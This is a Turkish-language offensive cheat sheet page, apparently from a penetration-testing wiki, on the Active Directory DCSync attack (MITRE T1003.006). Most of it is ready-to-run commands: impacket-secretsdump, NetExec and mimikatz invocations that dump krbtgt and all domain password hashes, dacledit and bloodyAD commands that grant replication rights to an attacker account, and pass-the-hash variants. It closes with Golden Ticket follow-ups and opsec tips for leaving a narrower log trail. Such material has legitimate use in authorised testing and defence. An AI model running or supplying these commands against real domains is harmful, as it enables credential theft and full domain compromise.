DCSync
MITRE ATT&CK · T1003.006 phase: credential access impact: tüm hash'ler
MITRE ATT&CK · T1003.006 phase: credential access impact: tüm hash’ler
DCSync, bir Domain Controller’ı taklit ederek MS-DRSR replikasyon protokolü (DRSGetNCChanges) üzerinden herhangi bir hesabın parola hash’lerini DC’den ister. Böylece lsass dökümü veya NTDS.dit kopyası almadan, ağ üzerinden krbtgt dahil tüm kimlik bilgileri çekilebilir. Domain dominasyonunun en temiz “credential dump” yoludur.
Ön koşul — replikasyon hakları
Section titled “Ön koşul — replikasyon hakları”Saldırganın güvenlik principal’ı domain nesnesinde şu extended rights’a sahip olmalıdır:
| Hak | GUID / anlam |
|---|---|
| DS-Replication-Get-Changes | Temel replikasyon |
| DS-Replication-Get-Changes-All | Secret’lar dahil (hash) |
| (opsiyonel) Get-Changes-In-Filtered-Set | Bazı senaryolar |
Varsayılan sahipler: Domain Controllers, Enterprise Domain Controllers, Domain Admins, Enterprise Admins, Administrators. Ayrıca yanlış ACL ile normal kullanıcıya verilmiş olabilir — ACL Abuse.
BloodHound kenarları: DCSync, GetChanges, GetChangesAll (ikisi birden gerekir).
impacket-dacledit -action read -principal 'lowpriv' \ -target-dn 'DC=domain,DC=local' domain.local/lowpriv:'Pass'nxc ldap DC -u user -p pass -M daclread -o TARGET=DC=domain,DC=local ACTION=readKomut üreteci
Section titled “Komut üreteci”DCSync · secretsdump
embedded toolimpacket-secretsdump domain.local/administrator@10.10.10.5 -just-dcDCSync · secretsdump
Section titled “DCSync · secretsdump”Sömürü — impacket secretsdump
Section titled “Sömürü — impacket secretsdump”-
Tek hesabı çek (örn. krbtgt / Administrator) :
Terminal window impacket-secretsdump -just-dc-user krbtgt \domain.local/user:'Pass123'@10.10.10.5Terminal window impacket-secretsdump -just-dc-user Administrator \domain.local/user:'Pass123'@10.10.10.5 -
Tüm domain hash’lerini çek :
Terminal window impacket-secretsdump -just-dc domain.local/user:'Pass123'@10.10.10.5Terminal window impacket-secretsdump -just-dc-ntlm domain.local/user:'Pass123'@10.10.10.5Terminal window impacket-secretsdump -just-dc domain.local/user:'Pass123'@DC -outputfile domain_dump -
Pass-the-Hash / Kerberos ile :
Terminal window impacket-secretsdump -just-dc -hashes :NTHASH domain.local/user@10.10.10.5Terminal window export KRB5CCNAME=admin.ccacheTerminal window impacket-secretsdump -k -no-pass -just-dc domain.local/Administrator@dc01.domain.local
NetExec / mimikatz / CrackMapExec
Section titled “NetExec / mimikatz / CrackMapExec”nxc smb 10.10.10.5 -u user -p 'Pass123' --ntdsnxc smb 10.10.10.5 -u user -H :NTHASH --ntds --user krbtgtnxc smb 10.10.10.5 -u user -p 'Pass123' --ntds drsuapimimikatz # lsadump::dcsync /domain:domain.local /user:krbtgtmimikatz # lsadump::dcsync /domain:domain.local /user:Administratormimikatz # lsadump::dcsync /domain:domain.local /all /csvGet-ADReplAccount -All -Server dc01.domain.localDCSync hakkı nasıl kazanılır? (yol örnekleri)
Section titled “DCSync hakkı nasıl kazanılır? (yol örnekleri)”1) Zaten DA / EA / Admin2) WriteDacl on domain object → dacledit DCSync → secretsdump3) GenericAll on domain / AdminSDHolder → aynı4) Unconstrained + coerce DC$ → DC$ ile DCSync (makine hesabı hakları)5) ESC1/ESC8 → Administrator / DC$ cert → auth → DCSync6) RBCD / Shadow on DC$ → SYSTEM eşdeğeri → DCSyncimpacket-dacledit -action write -rights DCSync -principal evil \ -target-dn 'DC=domain,DC=local' domain.local/evil:'Pass'bloodyAD -u evil -p 'Pass' -d domain.local --host DC add dcsync evilÇıktıdan sonraki adımlar
Section titled “Çıktıdan sonraki adımlar”krbtgt NT/AES → Golden TicketAdministrator NT → PtH tüm DC/admin share*machine$ NT → Silver Ticket (cifs/host)tüm kullanıcılar → PTH spray / crack (NTLM) / password reuseAyrıca NTDS Extraction ile aynı sonuç VSS yoluyla da alınır; DCSync dosya kopyalamaz.
Opsec (ofansif)
Section titled “Opsec (ofansif)”- -just-dc-user krbtgt tam dump’tan çok daha az veri ve daha dar iz.
- Tam -just-dc binlerce hesap → büyük replikasyon olayı; angajmanda gerekçe net olsun.
- DRSUAPI, DC’de Directory Service erişim log’ları üretebilir (4662).
- Aynı hakla tekrar tekrar çekmek yerine hash’leri güvenli sakla.
- Kerberos ( -k ) + AES Golden sonrası dönüşler için DCSync’i bir kez yapıp bitir.
Yaygın tuzaklar
Section titled “Yaygın tuzaklar”- Sadece GetChanges var, GetChangesAll yok → secret gelmez.
- LDAP signing / firewall 135 + dynamic RPC portları kapalı → bağlanamaz.
- IP ile Kerberos DCSync → SPN hatası; FQDN kullan.
- “DA değilim” sanısı — BloodHound’da dolaylı DCSync kenarını kaçırma.
- secretsdump varsayılan olarak NTDS + SAM/LSA da deneyebilir; -just-dc ile sınırla.
Sonraki adımlar
Section titled “Sonraki adımlar”Golden Ticket · Pass-the-Hash · NTDS Extraction · Persistence